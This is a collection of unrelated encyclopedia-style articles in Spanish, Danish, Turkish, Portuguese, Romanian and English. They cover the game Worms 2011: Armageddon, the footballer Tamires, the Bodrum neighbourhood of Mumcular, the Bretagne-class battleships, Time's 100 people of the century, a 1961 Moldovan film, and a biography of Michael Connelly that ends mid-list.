Terreno
Se puede modificar el material del terreno, así como su forma. Dentro de los materiales están los siguientes:
 Medieval de Waartans
 Campo de Fútbol de Touch Drowners
 Queso de Rratatat
 Construcción de Choke 'n' Sink
Las formas de los terrenos son las siguientes:
 Tierra firme: Terreno clásico, con montes, llanos y desniveles en orden aleatorios
 Un solo bajo: Un solo nivel de tierra firme con items adicionales como tanques de combustible o minas.
 Dos cimas: Un terreno formado de dos montículos continuos de terreno unidos por más tierra. También incluye los items adicionales.
 Dos cimas y agua: Dos picos de tierra separados por una pequeña masa de agua.

Instrucción
Dentro de éste menú hay dos modos para familarizarse con el juego:

Tutorial
Un tutorial de familiarización con el juego en donde se pueden practicar las acciones básicas como moverse, saltar, atacar, etc.

Campo de tiro
Un terreno generado aleatoriamente donde se pueden probar absolutamente todas y cada una de las armas tantas veces como se desee hasta destruir por completo el terreno. Se puede modificar la dirección y la intensidad del viento, así como agregar o quitar gusanos inertes.

Logros
En el juego hay una serie de logros que pueden ser completados conforme se avanza en el juego o cumpliendo ciertas condiciones. Los logros son los siguientes:
 ¡Gran victoria!: Completar los 4 primeros niveles de Waartans.
 ¡A por la victoria!: Completar todos los niveles de Waartans.
 ¡Gritad, malditos!: Completar los 4 primeros niveles de Rratatat.
 Flautista: Completar todos los niveles de Rratatat.
 ¡Ahógate!: Completar los 4 primeros niveles de Choke 'n' Sink.
 Húndelos a todos: Completar todos los niveles de Choke 'n' Sink.
 Aniquilación: Completar todos los niveles del modo campaña.
 Dale caña: Usar todos los objetos de la mochila de armamento una vez en el campo de tiro.
 Worminator: Matar a 300 gusanos durante el juego.
 La codicia es buena: Recolectar 100 cajas de armas durante el juego.
 Hermanos de armas: Ganar una partida sin causar fuego amigo.
 Sí, sí... amigo: Matar a 10 gusanos aliados durante el juego.

Referencias

Véase también
 Worms
 Worms Forts 3D
 Worms Forts: Under Siege

Enlaces externos
 Página oficial de Team 17
 Página oficial de Electronic Arts
  - la enciclopedia del jugador de Worms (perteneciente a Worms World Party)

Videojuegos de THQ
Videojuegos para teléfonos móviles
Videojuegos de estrategia
Videojuegos de 2011

Worms 2011: Armageddon


Tamires Cássia Dias Gomes (født 10. oktober 1987), mest kendt som Tamires, er en brasiliansk fodboldspiller, som spiller for den brasilianske storklub Corinthians og for Brasilien. Hun har tidligere været en stor profil for Fortuna Hjørring i den danske Elitedivision i fire år. Hun deltog ved VM i fodbold for kvinder 2015 og 2019 og deltog ligeledes ved OL 2016. Hun spillede sin landskamp nummer 100 12. december 2019 i en kamp mod Mexico.

Internationale mål

Referencer

Eksterne henvisninger

Kvindelige fodboldlandsholdsspillere fra Brasilien
Fodboldspillere fra Fortuna Hjørring

Tamires Cássia Dias Gomes


Mumcular Muğla'nın Bodrum ilçesinin bir beldesi iken 6360 Sayılı On Dört İlde Büyükşehir Belediyesi ve Yirmi Yedi İlçe Kurulması ile Bazı Kanun ve Kanun Hakkında Kararnamelerde Değişiklik Yapılmasına Dair Kanun ile Bodrum Belediyesi'ne bağlı bir mahalleye dönüşmüştür. Bodrum Belediyesi'nin çalışmaları neticesinde de Mumcular Mahallesi, Karaova Mahallesi ve Gölbaşı Mahallesi olarak üç mahalleye bölünmüştür.

Mumcular, Karaova ve Gölbaşı mahallelerinin yaklaşık olarak toplam  nüfusu 5000' dir. Kasabanın arkası orman ve makilere, önü ise Karaova'ya bakar. Karaova oldukça verimli bir ovadır. Ovada daha çok zeytin ve sebze yetiştirilir. Mumcular'ın arkasındaki dağ kızılçam ormanları ve zeytin bahçeleri ile kaplıdır, zeytincilik gelişmiştir. Belde de okuma yazma oranı oldukça yüksektir. Mumcular yerleşiminin küçük bir meydanı vardır. Parti binaları ve üç tane park da burada bulunur. Bu parklar yaz ayında ve bahar aylarında oldukça yeşil ve güzel, canlı olarak görülür. Bölgede Akdeniz iklimi hakimdir. Kışlar oldukça ılımandır kar çok nadir yağar. Kış aylarında ve ilkbaharın başlarında çok yağış alır. Kış aylarında mahallenin arkasındaki Mazı Dağını aşıp gelen denizin dalga sesleri duyulur. Yaz mevsiminde ise gündüzler oldukça sıcak, sabah ve akşamüzeri vakitlerinde ise, Mazı dağının etkisi ve ovanın önündeki denizin etkisi ile köye serin rüzgarlar vurur. Yaz aylarında bölgedeki en büyük sorun zehirli hayvan ve böceklerdir.

Arkadaki ormanın Mumcular halkı için önemi büyüktür. Kış ve bahar aylarında yağmurlardan sonra insanlar mantar toplamaya çıkarlar. Bölgede en çok bulunun mantar türü çıntardır. Onun dışında kültür mantarına yakın olan çimen mantarı da bulunur. Ayrıca bölge halkı büyüklerinden öğrendikleri bazı orman bitkilerini toplayıp bunları yemeklerinde kullanırlar. Ormanda günü birlik geziler yapılabilir ancak ormanda gezmek için en uygun olan zaman kış ve bahar başıdır. Orman bir iki kere yangın geçirdiği için büyük kısmı 13-14 yıl önce dikilmiş ağaçlardan oluşmaktadır. Buna rağmen ormanlar işlenecek boya gelmiş bir kısmı ise hiç etkilememiş çok yüksek kızılçam ağaçlarından oluşur. (Önemli not: Bu bölgedeki ormanların büyük bir bölümü Ağustos 2006 da çıkan yangında yok olmuştur-Yaklaşık 700 Hektar )

Dağ ve tepelerden gelen küçük derelerden yararlanılarak mahallede sulama amaçlı baraj yapılmıştır. Bu barajdan elde edilen su Karaova'ya kanallarla taşınır ve Karaova'da özellikle yaz kuraklığının yaşandığı dönemlerde kullanılır.

Yerleşim biriminde genelde beyaz, sıvalı ve taş evler vardır. Ancak günümüzdeki betonarme yapılaşma bu bölge de de görülür. Taş evlerin ise çoğu yıkılmıştır. Bugün taş evlerin çoğu iskelet halindedir.

Bodrum'un mahalleleri
Bilgi kutusu bulunmayan yerleşim yerleri

Mumcular, Bodrum


A Classe Bretagne foi uma classe de couraçados operada pela Marinha Nacional Francesa, composta pelo ,  e . Suas construções começaram em 1912 no Arsenal de Brest, Arsenal de Lorient e Ateliers et Chantiers de la Loire e foram lançados ao mar no ano seguinte, entrando em serviço em 1916 no meio da Primeira Guerra Mundial. Uma quarta embarcação, chamada Vasilefs Konstantinos para a Marinha Real Helênica, teve suas obras iniciadas em 1914, porém foi cancelada por causa da guerra. A classe foi encomendada para manter a Marinha Nacional em equilíbrio com frotas estrangeiras e teve seu projeto baseado na predecessora Classe Courbet.

Os três couraçados da Classe Bretagne eram armados com uma bateria principal composta por dez canhões de 340 milímetros montados em cinco torres de artilharia duplas. Tinham um comprimento de fora a fora de 166 metros, boca de quase 27 metros, calado de nove metros e um deslocamento carregado entre 25 e 26 mil toneladas. Seus sistemas de propulsão eram compostos por dezoito a 24 caldeiras a carvão que alimentavam quatro conjuntos de turbinas a vapor, que por sua vez giravam quatro hélices até uma velocidade máxima de vinte nós (37 quilômetros por hora). Os navios também tinham um cinturão de blindagem que ficava entre 140 e 250 milímetros de espessura.

Os navios deram cobertura para a Barragem de Otranto contra a Marinha Austro-Húngara na Primeira Guerra Mundial, porém nunca chegaram a entrar em combate. Ele foram todos modernizados no período entreguerras e passaram a maior parte deste tempo realizando treinamentos. Com o início da Segunda Guerra Mundial em 1939, atuaram na caça a navio alemães no Oceano Atlântico até a Queda da França em 1940. O Bretagne foi afundado no Ataque a Mers-el-Kébir, enquanto o Provence seriamente danificado. Este foi levado a Toulon e deliberadamente afundado em 1942. O Lorraine serviu pelas Forças Navais Francesas Livres e continuou atuando até ser desmontado em 1953.

Bibliografia

Ligações externas

Bretagne

Classe Bretagne


Time 100: The Most Important People of the Century este o compilație a celor mai influenți 100 de oameni ai secolului al XX-lea, publicată în revista Time în 1999.

Ideea unei astfel de liste a fost discutată la 1 februarie 1998 într-o dezbatere organizată la un simpozion din Hanoi, Vietnam. Membrii juriului care a alcătuit lista au fost următorii: fostul prezentator de știri de la CBS Evening News Dan Rather, istoricul Doris Kearns Goodwin, fostul guvernator al statului New York Mario Cuomo, rectorul Universității Stanford Condoleezza Rice, editorul Irving Kristol și directorul revistei Time Walter Isaacson.

Într-o ediție separată din 31 decembrie 1999, Time l-a recunoscut pe Albert Einstein ca Personalitatea secolului.

Categoriile listei
Articolul publicat în revista Time conține câte douăzeci de persoane incluse în cinci mari categorii: Lideri și revoluționari; Oameni de știință și gânditori; Creatori și inventatori; Artiști și animatori; și Eroi și legende.

Personalitatea secolului

Albert Einstein a fost ales Personalitatea secolului dintre cele 100 de persoane nominalizate, pe motiv că el a fost cel mai proeminent om de știință într-un secol dominat de știință. Editorii revistei Time considerau că secolul al XX-lea "va fi amintit în primul rând pentru știință și tehnologie", iar Einstein "reprezintă un simbol al tuturor oamenilor de știință — precum Fermi, Heisenberg, Bohr, Richard Feynman, ...care au construit pornind de la munca lui".

Coperta revistei conținea celebra fotografie a lui Einstein realizată în 1947 de către fotograful portretist american Philippe Halsman.

Finaliști:

Controverse
Au existat dezbateri dacă Adolf Hitler și Benito Mussolini, responsabili pentru cel de-al Doilea Război Mondial, pentru Holocaust și pentru cel de-al Doilea Război Italo-Etiopian, ar trebui să facă parte dintre Personalitățile secolului datorită influenței lor în politica mondială.

Argumentul s-a bazat pe criteriul explicit al revistei Time potrivit căruia persoanele alese ar trebui să aibă cel mai mare impact asupra acestui secol, în bine sau în rău. În aceeași ediție din 31 decembrie 1999 a revistei Time, eseista Nancy Gibbs a abordat subiectul în articolul The Necessary Evil? În acel articol, ea susține că Hitler și Mussolini "au fost pur și simplu cei mai recenți dintr-o lungă linie de ucigași, care se întinde înainte de Ginghis Han. Singura diferență a fost tehnologia: atât Hitler, cât și Mussolini au realizat un măcel cinic cu întreaga eficiență a unei industrii moderne perfecționate" și pune câteva întrebări retorice cum ar fi: "Răul poate fi o forță puternică, o idee seducătoare, dar este mai puternic decât geniul, creativitatea, curajul sau generozitatea?"

Critici
Lista celor 20 de Artiști și Animatori a fost criticată, în special, pentru că nu l-a inclus pe Elvis Presley, o decizie pe care Bruce Handy a apărat-o astfel:Unul dintre cele mai importante și inovatoare lucruri despre rock este întreaga concepție a compozitorilor care-și cântă propriile piese, exprimându-se nemijlocit. Din moment ce Elvis nu și-a scris propriul material, spre deosebire de The Beatles sau Bob Dylan sau Robert Johnson, poate că eliminarea lui... Cred ca Beatles a împins lucrurile un pic mai departe. Cele mai originale înregistrări ale lui Elvis au fost primele. Membrii trupei The Beatles au început ca imitatori, apoi au continuat să se dezvolte împreună de-a lungul anilor.Handy a primit, de asemenea, sarcina de a apăra decizia revistei Time de a include personajul fictiv Bart Simpson din serialul de televiziune Familia Simpson printre cele mai influente 100 de persoane ale secolului al XX-lea și a făcut-o în modul următor:Nu văd cum poți să te uiți la acest secol și să nu incluzi desenele animate. Ele sunt una din marile noastre creații, alături de jazz și de film. (Știu, știu. Filmele au fost o invenție a secolului al XIX-lea. Dar noi, oamenii secolului al XX-lea, le-am dat într-adevăr o bună utilizare.)... Într-o anumită măsură am vrut și oameni care au reprezentat tendințe sau evoluții importante din secolul al XX-lea. Asta ar explica prezența lui Bart și a lui Oprah... Ceea ce Bart, sau chiar membrii familiei Simpson, au făcut a fost să combine satira socială cu animațiile populare într-un mod care nu a mai fost realizat anterior.Lista a fost criticată, de asemenea, pentru includerea lui Lucky Luciano, care a fost ales în parte pentru că "a modernizat Mafia, a modelat-o într-un sindicat național al crimei axat pe linia de jos". Primarul New York-ului , Rudy Giuliani, a acuzat revista Time că i-a "idealizat" pe gangsteri și a declarat: "ideea că el a civilizat Mafia este absurdă. El a ucis pentru a obține poziția pe care a avut-o și apoi a autorizat sute și sute de crime." Includerea lui Luciano a fost considerată un "ultraj" de Philip Cannistraro, profesor de studii italo-americane la Colegiul Queens, iar Thomas Vitale, vicepreședintele filialei new york-eze a organizației caritabile italo-americane Fieri, a criticat revista Time pentru "perpetuarea miturilor" despre violența italo-americanilor. Cu toate acestea, redactorul secțiunii de afaceri a revistei Time Bill Saporito a apărat selecția prin considerarea lui Luciano drept "un fel de geniu malefic", care a avut un impact profund asupra economiei subterane. "Noi nu suntem aici pentru a-i glorifica pe acești oameni", a explicat el. "Suntem aici pentru a spune că aceștia sunt oameni care ne-au influențat viețile". Saporito a mai menționat că "fiecare bucată de marfă care ieșea din districtul Garment avea un mic cost suplimentar din cauza crimei organizate".

Personalități

Lideri și revoluționari

 David Ben-Gurion
 Ho Și Min
 Winston Churchill
 Mahatma Gandhi
 Mihail Gorbaciov
 Adolf Hitler
 Martin Luther King
 Ruhollah Khomeini
 Lenin
 Nelson Mandela
 Ioan Paul al II-lea
 Ronald Reagan
 Eleanor Roosevelt
 Franklin Delano Roosevelt
 Theodore Roosevelt
 Margaret Thatcher
 Omul din Piața Tiananmen
 Margaret Sanger
 Lech Wałęsa
 Mao Zedong

Artiști și animatori

 Louis Armstrong
 Lucille Ball
 The Beatles
 Marlon Brando
 Coco Chanel
 Charlie Chaplin
 Le Corbusier
 Bob Dylan
 T. S. Eliot
 Aretha Franklin
 Martha Graham
 Jim Henson
 James Joyce
 Pablo Picasso
 Richard Rodgers
 Bart Simpson
 Frank Sinatra
 Steven Spielberg
 Igor Stravinski
 Oprah Winfrey

Creatori și inventatori

 Stephen David Bechtel
 Leo Burnett
 Willis Carrier
 Walt Disney
 Henry Ford
 Bill Gates
 Amadeo Giannini
 Ray Kroc
 Estée Lauder
 William Levitt
 Lucky Luciano
 Louis Burt Mayer
 Charles Merrill
 Akio Morita
 Walter Reuther
 Pete Rozelle
 David Sarnoff
 Juan Trippe
 Sam Walton
 Thomas John Watson

Oameni de știință și gânditori

 Leo Baekeland
 Tim Berners-Lee
 Rachel Carson
 James D. Watson
 Albert Einstein
 Philo Farnsworth
 Enrico Fermi
 Alexander Fleming
 Sigmund Freud
 Robert Goddard
 Kurt Gödel
 Edwin Hubble
 John Maynard Keynes
 Mary Leakey
 Jean Piaget
 Jonas Salk
 William Shockley
 Alan Turing
 Ludwig Wittgenstein
 Frații Wright

Eroi și legende

 Muhammad Ali
 United States Marine Corps
 Diana de Wales
 Anne Frank
 Billy Graham
 Che Guevara
 Edmund Percival Hillary
 Helen Keller
 Familia Kennedy
 Bruce Lee
 Charles Lindbergh
 Harvey Milk
 Marilyn Monroe
 Tereza de Calcutta
 Emmeline Pankhurst
 Rosa Parks
 Edson Arantes do Nascimento
 Andrei Saharov
 Jackie Robinson
Bill Wilson

Referințe

Legături externe
 People of the Century at TIME

Liste despre secolul al XX-lea


Omul merge după soare (în ) este un film artistic în culori, lansat în 1961 în Republica Sovietică Socialistă Moldovenească și regizat de Mihail Kalik. Unul din primele filme sovietice new wave, producția a marcat apariția "cinematografiei poetice" în timpul conducerii lui Hrușciov.

Filmul a fost criticat de autoritățile sovietice pentru aparenta lipsă de promovare a idealurilor sovietice, astfel încât începând cu 1971, anul emigrării lui Kalik în Israel, filmul nu mai putea fi închiriat.

Subiect
Filmul prezintă o zi din viața unui copil. "Dacă mergi după soare, ajungi acolo de unde te-ai pornit", a spus unul din prietenii lui Sandu. Auzind această frază, băiatul decide să urmeze și el soarele ca să vadă dacă e adevărat.

Plimbându-se prin oraș, Sandu întâlnește mai mulți oameni, fiecare cu istoria sa de viață: un vânzător de bilete de loterie; un savant de la "Institutul Soarelui"; un tânăr cu lupă; câțiva bărbați, proaspăt deveniți tătici, sub balcoanele maternității; o fată cu baloane multicolore, care se grăbea la o întâlnire; vânzători de fructe și legume, printre care un băiat care l-a servit cu pepene verde; un motociclist temerar executând manevre periculoase, care de fapt se dovedește a fi un bărbat de natură firavă, intimidat de soția sa; un șofer de camion, care nu aprobă relația surorii sale cu un bărbat suspicios; muncitori în construcție, care l-au invitat la prânz; un milițian care l-a mustrat pentru că ar fi "prea independent" ("azi mergi după soare, mâine vei specula cu bilete la cinema"); o fată care stropește flori de floarea-soarelui și șeful său autoritar; un văcsuitor cu picioarele amputate după război; un băiat cu bule de săpun; un alai de oameni la înmormântare; peștișori de aur în havuz; apusul; o cafenea nocturnă.

După o zi lungă, Sandu este luat în brațe și condus acasă de câtre un muzicant militar. Pe drum, băiatul îi povestește aventurile prin care a trecut azi.

Referințe

Filme din 1961
Filme sovietice
Filme Moldova-Film
Filme regizate de Mihail Kalik

Omul merge după soare


Michael Joseph Connelly (born July 21, 1956) is an American author of detective novels and other crime fiction, notably those featuring LAPD Detective Hieronymus "Harry" Bosch and criminal defense attorney Mickey Haller.
Connelly is the bestselling author of 38 novels and one work of non-fiction, with over 74 million copies of his books sold worldwide and translated into 40 languages. His first novel, The Black Echo, won the   Mystery Writers of America Edgar Award for Best First Novel in 1992. In 2002, Clint Eastwood directed and starred in the movie adaptation of Connelly's 1997 novel, Blood Work. In March 2011, the movie adaptation of Connelly's novel The Lincoln Lawyer starred Matthew McConaughey as Mickey Haller. Connelly was the President of the Mystery Writers of America from 2003 to 2004.

Early life
Connelly was born in Philadelphia, Pennsylvania, the second eldest child of W. Michael Connelly, a property developer, and Mary Connelly, a homemaker. He is of Irish ancestry. According to Connelly, his father was a frustrated artist who encouraged his children to want to succeed in life and was a risk taker who alternated between success and failure in his pursuit of a career. Connelly's mother was a fan of crime fiction and introduced her son to the world of mystery novels.

At age 12, Connelly moved with his family from Philadelphia to Fort Lauderdale, Florida, where he attended St. Thomas Aquinas High School. At age 16, Connelly's interest in crime and mystery escalated when, on his way home from his work as a hotel dishwasher, he witnessed a man throw an object into a hedge. Connelly decided to investigate and found that the object was a gun wrapped in a lumberjack shirt. After putting the gun back, he followed the man to a bar and then left to go home to tell his father. Later that night, Connelly brought the police down to the bar, but the man was already gone. This event introduced Connelly to the world of police officers and their lives, impressing him with the way they worked.

Connelly had planned on following his father's early choice of career in building construction and started out at the University of Florida in Gainesville, at the Rinker School of Building Construction, studying construction management. After earning grades that were lower than expected, Connelly went to see Robert Altman's film The Long Goodbye (1973). The film, based on Raymond Chandler's eponymous 1953 novel, inspired Connelly to want to become a mystery writer. Connelly went home and read all of Chandler's works featuring Philip Marlowe, and decided to transfer to the University of Florida College of Journalism and Communications, major in journalism, and minor in creative writing.

Early career
After graduating from the University of Florida in 1980, Connelly got a job as a crime beat writer at the Daytona Beach News Journal, where he worked for almost two years until he went to the Fort Lauderdale News and Sun-Sentinel in 1981. There, he covered the crime beat during the South Florida cocaine wars. He stayed with the paper for a few years and in 1986, he and two other reporters spent several months interviewing survivors of the 1985 Delta Flight 191 plane crash, which story earned Connelly a place as a finalist for the Pulitzer Prize.  The honor also brought Connelly a job as a crime reporter at the Los Angeles Times. He moved to California in 1987 with his wife Linda McCaleb, whom he met while in college and married in April 1984.

After moving to Los Angeles, Connelly went to see High Tower Court where Raymond Chandler's character Philip Marlowe had lived (in his 1942 novel The High Window), and Robert Altman had used for his film The Long Goodbye (1973). Connelly got the manager of the building to promise to phone him if the apartment ever became available. Ten years later, the manager tracked Connelly down, and Connelly decided to rent the place. This apartment served as a place to write for several years.

After three years at the Los Angeles Times, Connelly wrote his first published novel, The Black Echo (1992), after previously writing two unfinished novels that he did not attempt to get published. He sold The Black Echo to Little, Brown to be published in 1992 and won the Mystery Writers of America's Edgar Award for best first novel. The book is partly based on a true crime and is the first one featuring Connelly's primary recurring character, Los Angeles Police Department Detective Hieronymus "Harry" Bosch, a man who, according to Connelly, shares few similarities with the author himself. Connelly named Bosch after the Dutch painter Hieronymus Bosch, known for his paintings full of sin and redemption, such as the painting Hell, a copy of which hangs on the office wall behind Connelly's computer. Connelly describes his own work as a big canvas with all the characters of his books floating across it as currents on a painting. Sometimes they are bound to collide, creating cross currents. This is something that Connelly creates by bringing back characters from previous books and letting them play a part in books written five or six years after first being introduced.

Connelly went on to write three more novels about Detective Bosch—The Black Ice (1993), The Concrete Blonde (1994), and The Last Coyote (1995)—before quitting his job as a reporter to write full-time.

Full-time novelist

Michael Connelly received a good deal of publicity in 1994, when President Bill Clinton came out of a bookstore carrying a copy of The Concrete Blonde in front of the waiting cameras. A meeting was set up between the two at Los Angeles International Airport.

In 1996, Connelly wrote The Poet, his first book not to feature Bosch, instead the protagonist was reporter Jack McEvoy. The book was a success. In 1997, Connelly returned to Bosch in Trunk Music before writing another book, Blood Work (1997), about a different character, FBI agent Terry McCaleb. Blood Work was made into a film in 2002, directed by Clint Eastwood, who also played McCaleb, an agent with a transplanted heart, in pursuit of his donor's murderer. The book came together after one of Connelly's friends had a heart transplant and he saw what his friend was going through with survivor's guilt after the surgery. When asked if he had anything against the changes made to fit the big screen, Connelly simply replied: "If you take their money, it's their turn to tell the story".

Connelly wrote another book featuring Bosch, Angels Flight (1999), before writing Void Moon (2000), a free-standing book about Las Vegas thief Cassie Black. In 2001, A Darkness More Than Night was published, in which Connelly united Bosch and McCaleb to solve a crime together, before releasing two books in 2002. The first, City of Bones, was the eighth Bosch novel, and the other, Chasing the Dime, was a non-series novel. In 2001, Connelly left California for Tampa Bay, Florida, together with his wife and daughter, so that both he and his wife could be closer to their families. His novels still took place in Los Angeles.

In 2003, another Bosch novel, Lost Light, was published. With this book, a CD was released, Dark Sacred Night, the Music of Harry Bosch, featuring some of the jazz music that both Connelly and the fictional character Bosch listen to. While writing Connelly listens exclusively to instrumental jazz, though, because it does not have intrusive vocals, and because the improvisational playing inspires his writing. The Narrows, published in 2004, was a sequel to The Poet but featured Bosch instead of McEvoy. Together with this book, a DVD was released called Blue Neon Night: Michael Connelly's Los Angeles, in which film Connelly presents some of the places in Los Angeles that are frequently featured in his books.

The Closers, published in May 2005, was the 11th Bosch novel. It was followed by The Lincoln Lawyer in October, Connelly's first legal novel; it features defense attorney Mickey Haller, Bosch's half-brother. The book was made into a film in 2011, starring Matthew McConaughey as Haller. After releasing Crime Beat (2004), a non-fiction book about Connelly's experiences as a crime reporter, Connelly went back to Bosch with Echo Park (2006). This book sets its opening scene in the High Tower Apartment that Connelly rented and wrote from. His next Bosch story, The Overlook, was originally published as a multi-part series in the New York Times Magazine. After some editing, it was published as a novel in 2007. In October 2008, Connelly wrote The Brass Verdict, which brought together Bosch and Haller for the first time.  He followed that with The Scarecrow (May 2009), which brought back McEvoy as the lead character. 9 Dragons, a novel taking Bosch to Hong Kong, was published in October 2009. The Reversal (October 2010), reunites Bosch & Haller as they work together under the banner of the state on the retrial of a child murderer. The Haller novel The Fifth Witness was published in 2011.

The Drop, which refers in part to the "Deferred Retirement Option Plan" that was described in the novel The Brass Verdict (2008), was published in November 2011. The next Bosch novel was The Black Box (2012). Connelly's subsequent novel, a legal thriller, was a return to Haller: The Gods of Guilt (2013). His next book returned to Bosch in The Burning Room (2014), and then Connelly used Haller as a main supporting character in the Bosch novels The Crossing (2015) and The Wrong Side of Goodbye (2016).

Film and television
 Connelly was one of the creators and executive producers of Level 9, an action TV series that aired for 13 episodes in the 2000-2001 season on the UPN television network.
 His novel Blood Work was adapted into a 2002 film with a screenplay by Brian Helgeland and direction by Clint Eastwood, who also played the lead role.
 Connelly is the subject of the video documentary Blue Neon Night: Michael Connelly's Los Angeles (2004).
 He occasionally made guest appearances as himself in the ABC comedy/drama TV series Castle.  Along with fellow crime authors James Patterson, Dennis Lehane, and Stephen J. Cannell, he was one of Castle's poker buddies.
 Connelly's novel The Lincoln Lawyer was made into a film in 2011, with Matthew McConaughey playing defense lawyer Michael "Mickey" Haller.
 In 2022, Netflix adapted Connelly's second novel in The Lincoln Lawyer series, The Brass Verdict, into a 10-episode series simply titled The Lincoln Lawyer (TV series) (with certain plot points changed to update the story as the original novel was written in 2008). Due to the series reaching #2 on the most viewed series on Netflix in its first three days as well as incredibly favorable audience reviews and a strong critical response, a second season was ordered in 2022 which will reportedly be based upon Connelly's fourth novel in The Lincoln Lawyer series, The Fifth Witness. The second season is expected to be available to stream on Netflix sometime in 2023.
 Connelly is the executive producer of Sound of Redemption: The Frank Morgan Story, a documentary about the jazz saxophone player, Frank Morgan.
 Connelly produced a TV series for Amazon Studios called Bosch, based on Connelly's Harry Bosch novels. It began streaming on Amazon Prime in early 2014, and ran for seven seasons on Amazon, concluding in 2021. A spin-off called Bosch: Legacy, also produced by Connelly, began streaming on Amazon Freevee in 2022.
 Connelly's short story Avalon is being adapted into a television series by David E. Kelley and Connelly for ABC.

Awards and honors

Connelly has won nearly every major award given to mystery writers, including the Edgar Award, Anthony Award, Macavity Award, Los Angeles Times Best Mystery/Thriller Award, Shamus Award, Dilys Award, Nero Award, Barry Award, Audie Award, Ridley Award, Maltese Falcon Award (Japan), .38 Caliber Award (France), the Grand Prix de Littérature Policière (France) and Premio Bancarella Award (Italy). In 2012, The Black Box won the world's most lucrative crime fiction award, the RBA Prize for Crime Writing worth €125,000.
He received the Cartier Diamond Dagger in 2018 from the Crime Writers' Association.

Writing techniques
When starting a book, he says, the story is not always clear, but Connelly has "a hunch" as to where it is going. The books often reference real-world events, such as the 1992 Los Angeles riots and the September 11 attacks. Events that might seem of minor significance are included in some of the books, because of Connelly's personal interest in them. For example, City of Bones, in which Detective Bosch investigates the murder of an 11-year-old boy, was written during Connelly's early years as a father of a daughter, and it hit close to home. According to Connelly, he didn't mean to write about the biggest fear of his life; it just came out that way. David Geherin states that Connelly "deliberately avoids ornate language, the kind that makes the reader stop and savor the choice of words or elegant phrasing. He doesn't want anything to inhibit the forward momentum he is working to create."

Detective Bosch's life usually changes in harmony with Connelly's own life. When Connelly moved 3,000 miles across the country, Bosch's experiences sent him in a new direction in City of Bones, written at that time. According to Connelly, his "real" job is to write about Bosch, and he brought McCaleb and Bosch together in A Darkness More Than Night in order to look at Bosch from another perspective and to keep the character interesting.

Connelly often changes perspectives between characters in his novels. In Void Moon, Connelly frequently alternates between following protagonist Cassie Black and antagonist Jack Karch. In Fair Warning, Connelly outright changes the overarching perspective of the book on occasion, regularly following protagonist Jack McEvoy in a first-person point of view while occasionally branching away from his story to follow the antagonists in third-person.

Recurring characters
Every character in the list below, with one exception, has appeared in a Harry Bosch book.  All of Michael Connelly's novels occur in the same fictional universe and character crossovers are common.

Main characters
 Hieronymus "Harry" Bosch – a Los Angeles Police Department detective.
 Michael "Mickey" Haller – criminal defense attorney and Bosch's half-brother.
 Terrell "Terry" McCaleb – criminal profiler for the Federal Bureau of Investigation assigned to Los Angeles. While tracking down "The Code Killer", McCaleb needed a heart transplant. While recovering from his surgery, McCaleb is contacted by Graciela Rivers, the sister of the woman whose heart was implanted in his body. She asks him to investigate her sister's murder. A movie based on the novel and starring Clint Eastwood was released in 2002.
 Jack McEvoy – crime reporter, brother of one of the Poet's victims.
 Rachel Walling – FBI agent.
 Cassidy "Cassie" Black – burglar and ex-con.  Lead character in Void Moon.  Has a cameo in The Narrows. She is described by Mickey Haller in  The Brass Verdict as a client by way of her unique modus operandi.
 Henry Pierce – Chemical scientist and entrepreneur.  Lead character in Chasing the Dime.  Pierce is the only Connelly character who has never appeared in a Harry Bosch novel (in fact he has not appeared in any other Connelly novel). However, Bosch was referred to by a character in Chasing the Dime, although not by name.
 Renée Ballard – a Los Angeles Police Department detective.

Other characters
Each of these characters has appeared in at least two of Connelly's novels.

 Lieutenant Grace "Bullets" Billets – Harvey Pounds' successor as Bosch's supervisor in Hollywood Homicide squad. When first introduced, she had a husband, but was in a same-sex relationship with Kiz Rider.
 Madeline "Maddie" Bosch – daughter of Bosch and Eleanor Wish; Mickey Haller's niece.
 Joel Bremmer - Keisha Russell's predecessor on the LA Times crime beat. In The Concrete Blonde, it is established that Bremmer wrote a novel about a string of murders committed by a serial killer known as "The Dollmaker." Bremmer used this pattern as a cover to commit several murders of his own.
 Earl Briggs – Haller's regular driver until The Gods of Guilt, when he is killed in a car crash.
 Elizabeth Clayton – a drug addict who helps Bosch in Two Kinds of Truth; in return he tries to help find the murderer of Elizabeth's daughter Daisy. Elizabeth commits suicide in Dark Sacred Night.
 John Chastain – former LAPD Internal Affairs detective, killed during the events of Angels Flight.
 David Chu – Bosch's partner in RHD Special Homicide. Was with LAPD's Asian Gangs Unit (AGU) during the events of 9 Dragons.
 Teresa Corazon – Bosch's love interest in The Black Ice, appears later in City of Bones and A Darkness More than Night; medical expert examiner.
 Jerry "Jed" Edgar (aka J. Edgar) – Bosch's former partner in Hollywood Homicide squad; appears in Two Kinds of Truth as a member of the Medical Board of California.
 Ignacio "Iggy" Ferras – Bosch's former partner in the RHD Homicide Special Unit, killed during the events of 9 Dragons.
 Hayley Haller – Daughter of Mickey Haller and Maggie McPherson; Harry Bosch's niece.
 Aaron Hayes – A lifeguard at the beach Ballard often surfs or sleeps at. He has a casual sexual relationship with Ballard.
 Carmen Hinojos – LAPD psychologist; first appears in The Last Coyote, Bosch later contacts her upon returning from Hong Kong to help Maddie cope with the events of 9 Dragons.
 Irvin S. Irving – former LAPD Deputy Chief and Bosch's chief nemesis in the department, later an L.A. city councilman.
 John Iverson - Las Vegas Metropolitan Police Detective in Trunk Music, appears later in Void Moon.
 Thelma Kibble – Cassie Black's parole officer.
 Howard Kurlen – detective in Van Nuys Division and frequent opponent of Haller's on the stand
 Janis Langwiser – former prosecutor, now a criminal defense attorney.
 Raul Levin – Mickey Haller's private investigator in The Lincoln Lawyer. Killed during the events.
 Roy Lindell (aka "Luke Goshen") – FBI agent who first appears in Trunk Music.
 Buddy Lockridge – McCaleb's friend and business associate.
 Lola – Ballard's dog, a rescue, appears in every book Ballard appears in.
 Bella Lourdes – Bosch's partner at the San Fernando Police Department; appears in The Wrong Side of Goodbye and assists Bosch and Ballard in Dark Sacred Night.
 Oscar Luzon – A colleague of Bosch's at the San Fernando Police Department; appears in Two Kinds of Truth. In Dark Sacred Night Luzon is discovered to have tipped off gangster friends about an investigation, and attempts to commit suicide while being detained, resulting in Bosch's dismissal from the department.
 Maggie "McFierce" McPherson – A prosecutor in the Van Nuys Division, Haller's first ex-wife.
 Robert Olivas – Lieutenant of RHD in The Late Show who sexually harassed Ballard. Her complaint resulted in her transfer to the Late Show when no one backed her up. Has been promoted to Captain by the time of The Night Fire.
 Lucius Porter – Hollywood Homicide Detective (The Black Echo and The Black Ice).
